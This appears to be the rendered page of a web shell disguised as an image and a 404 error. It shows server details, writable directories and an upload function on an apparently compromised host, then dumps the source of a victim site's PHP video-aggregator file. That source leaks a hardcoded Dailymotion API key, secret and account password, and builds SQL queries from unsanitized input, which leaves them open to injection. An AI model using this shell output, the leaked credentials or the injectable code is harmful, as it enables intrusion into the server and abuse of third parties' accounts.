����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/code/pages.php
<?php
class pages{
    /*var  $bad_array = array('vo-van-kiet','nong-duc-manh','nguyen-tan-dung','ho-chi-minh','viet-minh','dang-cong-san','cong-san-viet-nam','csvn','cu-ho','bac-ho','bbc','phat-giao','cong-an','phap-luan-cong','sex','tinh-duc','scandal','canh-sat','hentai','harcore','lam-tinh','phan-dong');*/
    var $bad_id = array('LaCFfP6Ha_g','5ShiKKZRIK4');
    function pages()
    {
        global $CORE;
        switch ($CORE->input['code'])
        {
            default			: 	$this -> goList(); break;
            case 'detail'   :   $this -> goDetail(); break;
            case 'detail2'   :   $this -> goDetail2(); break;
            case 'tags'   :   $this -> goTags(); break;
            case 'index'  : $this->goIndex(); break;
            case 'download' : $this->goDownload(); break;
            case 'playlist' : $this->goPlaylist(); break;
        }
    }
    function goPlaylist(){
        global $CORE,$DB,$print,$INFO;
        $id = intval($CORE->input['id']);
        $r_playlist = $DB->fetch_row($DB->query("SELECT site_url FROM gtdesign_playlist WHERE id='".$id."' LIMIT 1 "));
        if(strpos($r_playlist['site_url'],'phim7.com')!==false or strpos($r_playlist['site_url'],'youtube.com')!==false){
            $order_by = 'ASC';

        }else{
            $order_by = 'DESC';

        }

        $row_check = $DB->fetch_row($DB->query("SELECT pages_id FROM gtdesign_playlist_pages WHERE playlist_id='$id' ORDER BY id ".$order_by." LIMIT 1 "));
        $pages_id = $row_check['pages_id'];
        $row_pages = $DB->fetch_row($DB->query("SELECT id,ftitle FROM gtdesign_pages WHERE id='$pages_id' "));
        $print->refresh($INFO['home_url'].'watch/'.$row_pages['ftitle'].'-'.$row_pages['id'].'.html');
        exit();
    }

    function goIndex(){
        global $smarty,$func,$INFO;
        $smarty->assign('title','All Categories');
        $legion = 'VN';
        if(isset($_SESSION['countryName']) and $_SESSION['countryName']!=''){
            $legion = $_SESSION['countryName'];
        }


        $url = 'https://www.googleapis.com/youtube/v3/videoCategories?part=snippet&regionCode='.$legion.'&key='.$INFO['api_key'];
        $content =  file_get_contents($url);
        $searchResponse = json_decode($content,true);
        foreach($searchResponse['items'] as $val){
            $list['cat_id_you'] = $val['id'];
            $list['cat_title'] = $val['snippet']['title'];
            $list2[] = $list;
        }

        $arr_cat_you = $list2;


        if(!empty($arr_cat_you)) {
            foreach ($arr_cat_you as $val) {
                $list_cat['cat_id_you'] = $val['cat_id_you'];
                $list_cat['title_cat_you'] = $val['cat_title'];
                $list_cat['ftitle_cat_you'] = $func->format_string($val['cat_title']);
                $list_cats[] = $list_cat;
            }
        }
        $smarty->assign('list_cat_you',$list_cats);

        $smarty->assign('title','The best of entertainment');
        $smarty->assign('description','Watch movie, video free, the best of entertainment');
        $smarty->assign('cur_url',$func->current_url());
        //$smarty->assign('og_img',$INFO['home_url'].'skin/'.$INFO['skin_folder'].'/img/logo/logo-phim19-128x128.png');
        $smarty->assign('keywords','video, watch, camera phone, video phone, free, upload');
        $smarty->assign('og_video','');
    }
    function getIdVideo($url) {
        // get video ID from $_GET
        $v='';
        if (!isset($url)) {
            return 'Please enter a YouTube video URL.';
        } else {
            $vid = stripslashes($url);
            $string = $vid;
            $url = parse_url($string);
            parse_str($url['query']);
        }
        return $v;
    }
    function goDetail2(){
        global $CORE, $func, $smarty, $print, $INFO, $DB;
        require_once ROOT_PATH.'proxy/Google/Client.php';
        require_once ROOT_PATH.'proxy/Google/Service/YouTube.php';
        $client = new Google_Client();
        $client->setDeveloperKey($INFO['api_key']);
        $youtube = new Google_Service_YouTube($client);

        if(isset($CORE->input['type']) and $CORE->input['type']=='oldlink'){
            $print->refresh($INFO['home_url'].'video/'.$CORE->input['title'].'-'.$CORE->input['id'].'.html');
            exit();
        }
        $id=$CORE->input['id'];
        if(is_numeric($id)){//local video
            $smarty->assign('section','detail');
            $row_detail_news['id'] = $id;
            $DB->query("UPDATE gtdesign_pages SET `hit`=`hit`+1 WHERE id='$id'");
            //video in playlist
            $row_check_pl = $DB->fetch_row($DB->query("SELECT playlist_id FROM gtdesign_playlist_pages WHERE pages_id='$id' LIMIT 1 "));
            $r_playlist = $DB->fetch_row($DB->query("SELECT id,title,site_url FROM gtdesign_playlist WHERE id='".$row_check_pl['playlist_id']."' LIMIT 1 "));
            $smarty->assign('title_playlist',$r_playlist['title']);
            if($r_playlist){
                $id_playlist = $r_playlist['id'];
                $q_pages_playlist = $DB->query("SELECT pages_id FROM gtdesign_playlist_pages WHERE playlist_id = '$id_playlist'");

                while($r_pages_playlist = $DB->fetch_row($q_pages_playlist)){
                    $list_id_playlist[] = $r_pages_playlist['pages_id'];
                }


                $txt_id_playlist = implode(',',$list_id_playlist);

                if(strpos($r_playlist['site_url'],'phim7.com')!==false or strpos($r_playlist['site_url'],'youtube.com')!==false  or strpos($r_playlist['site_url'],'anime47.com')!==false){
                    $order_by = 'ASC';
                    $wh_op = "AND id>'$id'";
                }else{
                    $order_by = 'DESC';
                    $wh_op = "AND id<'$id'";
                }
                $q_video_playlist = $DB->query("SELECT * FROM gtdesign_pages WHERE id IN ($txt_id_playlist) ORDER BY id ".$order_by." ");

                while($r_video_playlist = $DB->fetch_row($q_video_playlist)){
                    $list_id_pl2[] = $r_video_playlist['id'];
                    $r_video_playlist['ftitle'] = $func->format_string($r_video_playlist['title']);
                    $r_video_playlist['title'] = trim(strip_tags(str_replace('"','&quot;',$r_video_playlist['title'])));
                    if(is_numeric($r_video_playlist['duration'])){
                        $r_video_playlist['duration'] = gmdate('H:i:s', $r_video_playlist['duration']);
                    }
                    $list_video_playlist[] =  $r_video_playlist;
                }
                $smarty->assign('list_video_playlists',$list_video_playlist);
                //tinh vi tri playlist
                $vitri = 0;
                foreach($list_id_pl2 as $key=>$val){
                    if($id==$val){
                        $vitri = $key+1;
                    }
                }
                if($vitri<=5){
                    $vitri = 0;
                }else{
                    $vitri  = intval($vitri/5);
                }
                $smarty->assign('vitri',$vitri);
                //$total_video_in_pl = count($list_id_playlist);

                /*$row_check_next_video =  $DB->fetch_row($DB->query("SELECT id,title FROM gtdesign_pages WHERE id IN ($txt_id_playlist) ".$wh_op." ORDER BY id ".$order_by." LIMIT 1 "));
                $url_next = '';
                if($row_check_next_video){
                    $url_next = 'watch/'.$func->format_string($row_check_next_video['title']).'-'.$row_check_next_video['id'].'.html';
                }
                $smarty->assign('url_next',$url_next);*/

            }
            //switch module
            //show right
            $row_detail_news = $DB->fetch_row($DB->query("SELECT * FROM gtdesign_pages WHERE id='$id' "));
            $row_detail_news['intro'] = trim($row_detail_news['intro']);
            $pos1 = strpos($row_detail_news['intro'],'youtube.com');
            $pos12 = strpos($row_detail_news['intro'],'youtu.be');
            $pos2 = strpos($row_detail_news['intro'],'tv.zing.vn');
            $pos3 = strpos($row_detail_news['intro'],'nhaccuatui.com');
            $pos4 = strpos($row_detail_news['intro'],'picasaweb.google.com');
            $pos10 = strpos($row_detail_news['intro'],'plus.google.com');
            $pos5 = strpos($row_detail_news['intro'],'phim7.com');
            $pos6 = strpos($row_detail_news['intro'],'clip.vn');
            $pos7 = strpos($row_detail_news['intro'],'auengine.io');
            $pos9 = strpos($row_detail_news['intro'],'drive.google.com');
            $pos11 = strpos($row_detail_news['intro'],'phimmoi.net');
            $pos14 = strpos($row_detail_news['intro'],'photos.google.com');
            $row_detail_news['download_link'] = 0;
            if($pos14!==false) {
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                $row_detail_news['url_zing_encode'] = $INFO['api2'].'/embed/server11/'.bin2hex($func->str_encode($row_detail_news['intro'],'ngocgiac'));
                $row_detail_news['download_link'] = 0;
            }
            if($pos12!==false) {
                $row_detail_news['embed'] = 'youtube.com';
                $arr_link = explode('/',$row_detail_news['intro']);
                $row_detail_news['youtube_id'] = $arr_link[count($arr_link)-1];
                $row_detail_news['id_you_encode'] = bin2hex($func->str_encode($row_detail_news['youtube_id'],'ngocgiac'));
                $row_detail_news['download_link'] = 1;
            }
            if($pos11!==false){
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                $row_detail_news['url_zing_encode'] = $INFO['api2'].'/embed/server12/'.bin2hex($func->str_encode($row_detail_news['intro'],'ngocgiac'));
                $row_detail_news['download_link'] = 0;
            }
            if($pos9!==false) {
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                preg_match('#file\/d\/(.*?)\/view#is',$row_detail_news['intro'],$match);
                $row_detail_news['url_zing_encode'] = 'https://drive.google.com/file/d/'.$match[1].'/preview?autoplay=1';
                $row_detail_news['download_link'] = 0;
            }
            if($pos7!==false) {
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                $row_detail_news['url_zing_encode'] = $INFO['api2'].'/embed/server7/'.bin2hex($func->str_encode($row_detail_news['intro'],'ngocgiac'));
                $row_detail_news['download_link'] = 0;
            }
            if($pos6!==false) {
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                $row_detail_news['url_zing_encode'] = $INFO['api2'].'/embed/server6/'.bin2hex($func->str_encode($row_detail_news['intro'],'ngocgiac'));
                $row_detail_news['download_link'] = 0;
            }
            if($pos5!==false){
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                $row_detail_news['url_zing_encode'] = $INFO['api2'].'/embed/server5/'.bin2hex($func->str_encode($row_detail_news['intro'],'ngocgiac'));
                $row_detail_news['download_link'] = 0;
            }
            if($pos4!==false){
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                $row_detail_news['url_zing_encode'] = $INFO['api2'].'/embed/server3/'.bin2hex($func->str_encode(str_replace('&feat=directlink','',$row_detail_news['intro']),'ngocgiac'));
                $row_detail_news['download_link'] = 0;
            }
            if($pos10!==false){
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                $row_detail_news['url_zing_encode'] = $INFO['api2'].'/embed/server8/'.bin2hex($func->str_encode(str_replace('&feat=directlink','',$row_detail_news['intro']),'ngocgiac'));
                $row_detail_news['download_link'] = 0;
            }
            if($pos1!==false) {
                $row_detail_news['embed'] = 'youtube.com';
                $row_detail_news['youtube_id'] = $this->getIdVideo(trim($row_detail_news['intro']));
                $row_detail_news['id_you_encode'] = bin2hex($func->str_encode($row_detail_news['youtube_id'],'ngocgiac'));
                $row_detail_news['download_link'] = 1;
            }
            if($pos2!==false) {
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                $row_detail_news['url_zing_encode'] = $INFO['api2'].'/embed/server1/'.bin2hex($func->str_encode($row_detail_news['intro'],'ngocgiac'));
                //$row_detail_news['url_zing_encode'] = $row_detail_news['intro'].'?autoplay=true';
                $row_detail_news['download_link'] = 0;
            }
            if($pos3!==false) {
                $row_detail_news['embed'] = 'iframe_tv.zing.vn';
                $row_detail_news['url_zing_encode'] = $INFO['api2'].'/embed/server4/'.bin2hex($func->str_encode($row_detail_news['intro'],'ngocgiac'));
                $row_detail_news['download_link'] = 0;
            }

            $row_detail_news['body'] = preg_replace('@(https?://([-\w\.]+[-\w])+(:\d+)?(/([\w/_\.#-]*(\?\S+)?[^\.\s])?)?)@', '<a href="$1" target="_blank">$1</a>', $row_detail_news['body']);
            $row_detail_news['body'] = preg_replace( "/\r|\n/", "<br/>", $row_detail_news['body']);
            $row_detail_news['time'] = date('F j Y',$row_detail_news['time']);
            $smarty->assign('detail',$row_detail_news);
            $smarty->assign('title',trim(strip_tags(str_replace('"','&quot;',html_entity_decode($row_detail_news['title'])))));
            $smarty->assign('description',trim(strip_tags(str_replace('"','&quot;',html_entity_decode($row_detail_news['body'])))));

            $smarty->assign('og_img',$row_detail_news['img']);
            $smarty->assign('keywords',trim(strip_tags(str_replace('"','&quot;',html_entity_decode($row_detail_news['title'])))));
            if(!empty($row_detail_news['youtube_id'])) {
                $smarty->assign('og_video', 'http://www.youtube.com/embed/' . $row_detail_news['youtube_id']);
                $smarty->assign('og_video2', 'http://www.youtube.com/v/' . $row_detail_news['youtube_id']);
                $smarty->assign('og_video2s', 'http://www.youtube.com/v/' . $row_detail_news['youtube_id']);
            }
            //user upload
            if(empty($row_detail_news['uid'])) {
                $row_detail_news['uid'] = 1;
            }
            $row_user = $DB->fetch_row($DB->query("SELECT id,fullname,avatar FROM gtdesign_user WHERE id='".$row_detail_news['uid']."' "));
            $smarty->assign('user_post',$row_user);
            //api video lien quan
            if($pos1!==false) {//la youtube video

                $vid =  $row_detail_news['youtube_id'];

                $arr_xml = array();

                $searchResponse = $youtube->search->listSearch('id,snippet', array(
                    'relatedToVideoId' => $vid,
                    'type' => 'video',
                    'maxResults' => 20,
                ));
                foreach ($searchResponse['items'] as $searchResult) {
                    $list['title'] = $searchResult['snippet']['title'];
                    $list['id_you'] = $searchResult['id']['videoId'];
                    $arr_xml[] = $list;

                }


                if (!empty($arr_xml)) {
                    $i = 1;
                    foreach ($arr_xml as $video) {
                        $relate['ftitle'] = $func->format_string($video['title']);
                        $relate['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($video['title']))));

                        $relate['id_you'] = $video['id_you'];
                        $relate['img'] = 'http://img.youtube.com/vi/' . $relate['id_you'] . '/mqdefault.jpg';
                        $relate['id_you_encode'] = bin2hex($func->str_encode($relate['id_you'], 'ngocgiac'));
                        $relate['hit'] = rand(100, 1000);
                        //$relate['duration'] = $relatedVideo->length;
                        //$relate['duration'] = 'by Phim19';
                        if ($i == 1) {
                            $url_next = 'video/' . $relate['ftitle'] . '-' . $relate['id_you_encode'] . '.html';
                        }
                        $list2[] = $relate;
                        $i++;
                    }
                }

            }else {//lay khong phai youtube thi lay title

                $vq = str_replace('-', '', trim($row_detail_news['title']));
                $vq = str_replace(' ', '+', $vq);
                //get video annoder api


                $arr_xml = array();
                $searchResponse = $youtube->search->listSearch('id,snippet', array(
                    'q' => $vq,
                    'type' => 'video',
                    'maxResults' => 24,
                    'videoEmbeddable' => 'true'
                ));

                foreach ($searchResponse['items'] as $searchResult) {
                    $list['title'] = $searchResult['snippet']['title'];
                    $list['id_you'] = $searchResult['id']['videoId'];
                    $arr_xml['video_info'][] = $list;
                }



                if (!empty($arr_xml)) {
                    foreach ($arr_xml['video_info'] as $video) {
                        $relate['ftitle'] = $func->format_string($video['title']);
                        $relate['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($video['title']))));
                        $relate['id_you'] = $video['id_you'];
                        $relate['img'] = 'http://img.youtube.com/vi/' . $relate['id_you'] . '/mqdefault.jpg';
                        $relate['id_you_encode'] = bin2hex($func->str_encode($relate['id_you'], 'ngocgiac'));
                        //$relate['duration'] = 'by Phim19';
                        $relate['hit'] = rand(100, 1000);
                        $list2[] = $relate;
                    }
                }
            }
            unset($content,$sxml2,$sxml,$sxml2,$arr_xml,$play2);
            $smarty->assign('list2s',$list2);
            $smarty->assign('cur_url',$func->current_url());
        }
        if(!is_numeric($id) and strlen($id)>8){//youtube video



            $encode = $CORE->input['id'];
            $url_next = '';
            $detail['encode'] = $encode;
            $decoded = $func->str_encode($func->hex2bin($encode), 'ngocgiac');
            if(in_array($decoded,$this->bad_id)){
                $print->refresh($INFO['home_url']);
            }
            //youutbe
            $smarty->assign('section','detail2');
            $vid = $decoded;
            $intro =  'http://www.youtube.com/watch?v=' . $vid;
            if(isset($_SESSION['user_id']) and $_SESSION['user_id']!='' ) {
                $row_check = $DB->fetch_row($DB->query("SELECT id,ftitle FROM gtdesign_pages WHERE `intro`='$intro' "));
                if($row_check){
                    $print->refresh('video/'.$row_check['ftitle'].'-'.$row_check['id'].'.html');
                }
            }
            $detail['id_youtube'] = $vid;
            // set video data feed URL


            $searchResponse = $youtube->videos->listVideos('contentDetails,snippet', array(
                'id' => $vid
            ));
            foreach ($searchResponse['items'] as $val) {
                $detail['id_you'] = $val['id'];
                $detail['title'] = $val['snippet']['title'];
                $detail['des'] = $val['snippet']['description'];
                $detail['cat_youtube'] = $val['snippet']['categoryId'];
                $detail['duration'] = $func->covtime($val['contentDetails']['duration']);
            }
            $arr_content = $detail;


            if (!empty($arr_content)) {
                $detail['ftitle'] = $func->format_string($arr_content['title']);
                $detail['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($arr_content['title']))));
                $detail['body'] = $arr_content['des'];
                $detail['duration'] = $arr_content['duration'];
                $detail['cat_youtube'] = $arr_content['cat_youtube'];
            } else {
                $entry = array();
                $detail['title'] = $CORE->input['title'];
                $detail['ftitle'] = $func->format_string($detail['title']);
            }
            //get video annoder api

            $searchResponse = $youtube->search->listSearch('id,snippet', array(
                'relatedToVideoId' => $vid,
                'type' => 'video',
                'maxResults' => 24,
            ));
            foreach ($searchResponse['items'] as $searchResult) {
                $list['title'] = $searchResult['snippet']['title'];
                $list['id_you'] = $searchResult['id']['videoId'];
                $arr_xml[] = $list;

            }


            $list2 = array();
            if (!empty($arr_xml)) {
                $i = 1;
                foreach ($arr_xml as $video) {
                    $relate['ftitle'] = $func->format_string($video['title']);
                    $relate['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($video['title']))));
                    $relate['id_you'] = $video['id_you'];
                    $relate['img'] = 'http://img.youtube.com/vi/' . $relate['id_you'] . '/mqdefault.jpg';
                    $relate['id_you_encode'] = bin2hex($func->str_encode($relate['id_you'], 'ngocgiac'));
                    if ($i == 1) {
                        $url_next = 'video/' . $relate['ftitle'] . '-' . $relate['id_you_encode'] . '.html';
                    }
                    if($relate['title']!='') {
                        $list2[] = $relate;
                    }
                    $i++;
                }
            }

            $detail['id'] = $encode;
            // parse video entry
            /* $bad_array = $this->bad_array;
             foreach ($bad_array as $val) {
                 if (strpos($detail['ftitle'], $val) !== false) {
                     exit('Sorry! This video has been removed at <a href="' . $_SERVER['HTTP_REFERER'] . '">http://phim19.com</a>. <a href="' . $_SERVER['HTTP_REFERER'] . '">Go back</a>.');
                 }
             }*/
            $detail['body'] = preg_replace('@(https?://([-\w\.]+[-\w])+(:\d+)?(/([\w/_\.#-]*(\?\S+)?[^\.\s])?)?)@', '<a href="$1" target="_blank" rel="nofollow">$1</a>',  $detail['body']);
            $detail['body'] = preg_replace( "/\r|\n/", "<br/>",  $detail['body']);
            $smarty->assign('detail', $detail);
            $smarty->assign('url_next', $url_next);
            //header
            $smarty->assign('title', trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($detail['title'])))));
            $smarty->assign('description', trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($detail['body'])))));

            $smarty->assign('og_img', 'http://img.youtube.com/vi/' . $detail['id_youtube'] . '/mqdefault.jpg');
            $smarty->assign('keywords', trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($detail['title'])))));
            $smarty->assign('og_video', 'https://www.youtube.com/embed/' . $detail['id_youtube']);
            $smarty->assign('og_video2', 'http://www.youtube.com/v/' . $detail['id_youtube']);
            $smarty->assign('og_video2s', 'http://www.youtube.com/v/' . $detail['id_youtube']);

            unset($content, $sxml2, $entry, $relatedFeed, $arr_content, $responseFeed, $arr_xml, $video, $relatedVideo);

            $smarty->assign('lienquans', $list2);

        }
        if(!is_numeric($id) and strlen($id)<=8){//dailymotion video
            $smarty->assign('section','detail3');
            require ROOT_PATH.'lib/Dailymotion.php';
            $apiKey = '63ff5e3b6ae2b824712d';
            $apiSecret = '28cdfea65d0bb208979bd3192e491ded82c64e94';
            $testUser = '[email protected]';
            $testPassword = 'gunblade123';
            $scopes = array(
                'userinfo',
                'feed',
                'manage_videos',
            );
            $api = new Dailymotion();
            $api->setGrantType(
                Dailymotion::GRANT_TYPE_PASSWORD,
                $apiKey,
                $apiSecret,
                $scopes,
                array(
                    'username' => $testUser,
                    'password' => $testPassword,
                )
            );
            $arr_content = $api->get(
                '/video/'.$id,
                array('fields' => array('id', 'title', 'thumbnail_large_url','duration','description'))
            );
            $detail['id'] = $id;
            $detail['ftitle'] = $func->format_string($arr_content['title']);
            $detail['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($arr_content['title']))));
            $detail['body'] = $arr_content['description'];
            $detail['duration'] = $arr_content['duration'];
            $detail['img'] = $arr_content['thumbnail_large_url'];
            //related dailymotion
            $result = $api->get(
                '/video/'.$detail['id'].'/related?fields=allow_embed,duration,thumbnail_url,title,&page=1&limit=21',
                array('fields' => array('id', 'title', 'thumbnail_large_url','duration'))
            );
            if(!empty($result['list'])){
                foreach($result['list'] as $val) {
                    $relate['ftitle'] = $func->format_string($val['title']);
                    $relate['title'] = trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($val['title']))));
                    $relate['img'] = $val['thumbnail_large_url'];
                    $relate['id_you_encode'] = $val['id'];
                    $relate['duration'] = gmdate('H:i:s', $val['duration']);
                    if ($relate['title'] != '') {
                        $list2[] = $relate;
                    }
                }
            }
            $smarty->assign('detail', $detail);
            $smarty->assign('lienquans', $list2);
            $smarty->assign('cur_url', $func->current_url());
            $smarty->assign('title', trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($detail['title'])))));
            $smarty->assign('description', trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($detail['body'])))));

            $smarty->assign('og_img', $detail['img']);
            $smarty->assign('keywords', trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($detail['title'])))));
        }
        $smarty->assign('cur_url', $func->current_url());
        $smarty->assign('login_type',$_SESSION['openid_type']);
    }
    function goList(){
        global $CORE, $DB, $smarty, $print, $func,$INFO;

        require_once ROOT_PATH.'proxy/Google/Client.php';
        require_once ROOT_PATH.'proxy/Google/Service/YouTube.php';
        $client = new Google_Client();
        $client->setDeveloperKey($INFO['api_key']);
        $youtube = new Google_Service_YouTube($client);

        $legion = 'VN';
        if(isset($_SESSION['countryName']) and $_SESSION['countryName']!=''){
            $legion = $_SESSION['countryName'];
        }



        $url = 'https://www.googleapis.com/youtube/v3/videoCategories?part=snippet&regionCode='.$legion.'&key='.$INFO['api_key'];
        $content =  file_get_contents($url);
        $searchResponse = json_decode($content,true);
        foreach($searchResponse['items'] as $val){
            $list['cat_id_you'] = $val['id'];
            $list['cat_title'] = $val['snippet']['title'];
            $list2[] = $list;
        }
        $arr_cat_you = $list2;

        $ftitle = trim($CORE->input['ftitle']);
        $d_ftitle = '';
        switch($ftitle){
            case 'gaming': $cat_you = 20; $d_ftitle='videogames'; break;
            case 'comedy': $cat_you = 23; $d_ftitle='fun'; break;
            case 'news-politics': $cat_you = 25; $d_ftitle='news'; break;
            case 'autos-vehicles': $cat_you = 2; $d_ftitle='auto'; break;
            case 'sports': $cat_you = 17; $d_ftitle='sport'; break;
            case 'film-animation': $cat_you = 1; $d_ftitle='shortfilms'; break;
            case 'entertainment': $cat_you = 24; $d_ftitle='creation'; break;
            case 'music': $cat_you = 10; $d_ftitle='music'; break;
            case 'travel-events': $cat_you = 19; $d_ftitle='travel'; break;
            case 'science-technology': $cat_you = 28; $d_ftitle='tech'; break;
            case 'pets-animals' :  $cat_you = 15; $d_ftitle='animals'; break;
            case 'short-movies' :  $cat_you = 18; $d_ftitle='shortfilms'; break;
            case 'education' :  $cat_you = 27; $d_ftitle='school'; break;

        }
        if(isset($CORE->input['categoryid']) and $CORE->input['categoryid']>0) {
            $cat_you = intval($CORE->input['categoryid']);
        }
        $title = '';
        foreach($arr_cat_you as $val){
            if($val['cat_id_you']==$cat_you){
                $title = $val['cat_title'];
            }
            $list_cat['cat_id_you'] = $val['cat_id_you'];
            $list_cat['title_cat_you'] = $val['cat_title'];
            $list_cat['ftitle_cat_you'] = $func->format_string($val['cat_title']);
            $list_cats[] = $list_cat;
        }
        $smarty->assign('list_cat_you',$list_cats);
        $menu_id = 0;
        if(!empty($ftitle)){
            $row_menu = $DB->fetch_row($DB->query("SELECT * FROM gtdesign_menu WHERE ftitle='$ftitle'"));
            if($row_menu) {
                $title = $row_menu['title'];
                $cat = $row_menu['etitle'];
                //check if menu is blank link
                if ($row_menu['type'] == 'url' and !empty($row_menu['url'])) {
                    $print->refresh(trim($row_menu['url']));
                    exit();
                }
                $smarty->assign('this_menu', $row_menu);
                $menu_id = $row_menu['id'];
            }
        }
        //local video
        $pageNum = ($_GET['pageNum']>0) ? intval($_GET['pageNum']) : 1;
        $pageSize = intval($CORE->input['limit']) > 0 ? intval($CORE->input['limit']) : 12;
        $from = (($pageNum * $pageSize) - $pageSize);
        $row_total_news = $DB->fetch_row($DB->query("SELECT count(*) as total FROM gtdesign_menu_pages WHERE menu_id = '".$menu_id."' "));
        $total = $row_total_news['total'];
        $totalPage = ceil($total/$pageSize);
        $smarty->assign('totalpage',$totalPage);
        $q_menu_page = $DB->query("SELECT pages_id FROM  gtdesign_menu_pages WHERE menu_id = '$menu_id' ORDER BY pages_id DESC LIMIT $from,$pageSize ");
        $list_id_pages = array();
        while($r_menu_pages = $DB->fetch_row($q_menu_page)){
            $list_id_pages[] = $r_menu_pages['pages_id'];
        }
        if(!empty($list_id_pages)) {
            $txt_id = implode(',', $list_id_pages);
            $q_news = $DB->query("SELECT * FROM gtdesign_pages WHERE id IN ($txt_id) ORDER BY time DESC");
            while ($r_news = $DB->fetch_row($q_news)){
                $r_news['ftitle'] = $func->format_string($r_news['title']);
                $r_news['title'] = trim(strip_tags(str_replace('"', '&quot;', $r_news['title'])));
                if (is_numeric($r_news['duration'])) {
                    $r_news['duration'] = gmdate('H:i:s', $r_news['duration']);
                }
                $list_news[] = $r_news;
            }
        }else{

        }
        $smarty->assign('list_news',$list_news);
        $nav = $print->Pagination($totalPage,$pageNum,'pages','index.php?act=pages&ftitle='.$ftitle);
        $smarty->assign('nav',$nav);
        $smarty->assign('title',$title);

        //api video

        if(isset($CORE->input['pageNum3'])){
            $pageNum3 = $CORE->input['pageNum3'];
        }
        //get video annoder api
        

        $arr_xml = array();
        $list = array();
        $searchResponse = $youtube->search->listSearch('snippet', array(
            'type' => 'video',
            'videoCategoryId' => $cat_you,
            'regionCode' => $legion,
            'maxResults' => 18,
            'videoEmbeddable' => 'true',
            'pageToken' => $pageNum3
        ));
        foreach ($searchResponse['items'] as $searchResult) {
            $list['title'] = $searchResult['snippet']['title'];
            $list['id_you'] = $searchResult['id']['videoId'];
            $arr_xml['video_info'][] = $list;
        }
        $arr_xml['nextPageToken'] = $searchResponse['nextPageToken'];
        $arr_xml['prevPageToken'] = $searchResponse['prevPageToken'];



        $list2 = array();
        if(!empty($arr_xml)){
            foreach($arr_xml['video_info'] as $video){
                $relate['ftitle'] = $func->format_string($video['title']);
                $relate['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($video['title']))));
                $relate['id_you'] = $video['id_you'];
                $relate['img'] = 'http://img.youtube.com/vi/'.$relate['id_you'].'/mqdefault.jpg';
                $relate['id_you_encode'] = bin2hex($func->str_encode($relate['id_you'],'ngocgiac'));
                $list2[] = $relate;
            }
        }
        $nav3 = '';
        $nextPageToken = $arr_xml['nextPageToken'];
        $prevPageToken = $arr_xml['prevPageToken'];
        if(!empty($prevPageToken) and $prevPageToken!='null'){
            $nav3 .= '<li><a class="pagelink" href="?act=pages&pageNum3='.$prevPageToken.'&ftitle='.$ftitle.'&categoryid='.$cat_you.'#video-find-other">Previous page</a></li>';
        }
        if(!empty($nextPageToken) and $nextPageToken!='null'){
            $nav3 .= '<li><a class="pagelink" href="?act=pages&pageNum3='.$nextPageToken.'&ftitle='.$ftitle.'&categoryid='.$cat_you.'#video-find-other">Next page</a></li>';
        }
        unset($content,$sxml2);
        //dailymotion video

        require ROOT_PATH.'lib/Dailymotion.php';
        $apiKey = '63ff5e3b6ae2b824712d';
        $apiSecret = '28cdfea65d0bb208979bd3192e491ded82c64e94';
        $testUser = '[email protected]';
        $testPassword = 'gunblade123';
        $scopes = array(
            'userinfo',
            'feed',
            'manage_videos',
        );
        $api = new Dailymotion();
        $api->setGrantType(
            Dailymotion::GRANT_TYPE_PASSWORD,
            $apiKey,
            $apiSecret,
            $scopes,
            array(
                'username' => $testUser,
                'password' => $testPassword,
            )
        );

        $pageNum2 = ($_GET['pageNum2']>0) ? intval($_GET['pageNum2']) : 1;
        $result = $api->get(
            '/channel/'.$d_ftitle.'/videos?page='.$pageNum2.'&limit=18',
            array('fields' => array('id', 'title', 'thumbnail_large_url','duration'))
        );
        $d_total = 200;
        $totalPage2 = ceil($d_total/18);
        if(!empty($result['list'])){
            foreach($result['list'] as $val){
                $relate2['ftitle'] = $func->format_string($val['title']);
                $relate2['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($val['title']))));
                $relate2['img'] = $val['thumbnail_large_url'];
                $relate2['id_you_encode'] = $val['id'];
                $relate2['duration'] = gmdate('H:i:s', $val['duration']);
                $list3[] = $relate2;
            }
        }
        $nav4 = $print->Pagination2($totalPage2,$pageNum2,'video-find-4','index.php?act=pages&ftitle='.$ftitle);
        $smarty->assign('nav4',$nav4);
        $smarty->assign('list2s',$list2);
        $smarty->assign('list3s',$list3);
        $smarty->assign('nav2',$nav3);
        $smarty->assign('cat_you',$cat_you);
        $smarty->assign('description','Video Category '.$row_menu['title']);
        $smarty->assign('cur_url',$func->current_url());
        $smarty->assign('og_img','http://i1.ytimg.com/i/F0pVplsI8R5kcAqgtoRqoA/mq1.jpg');
        $smarty->assign('keywords',$cat);

    }

}//end class
// Run class
$run	=	new pages();
?>

ZeroDay Forums Mini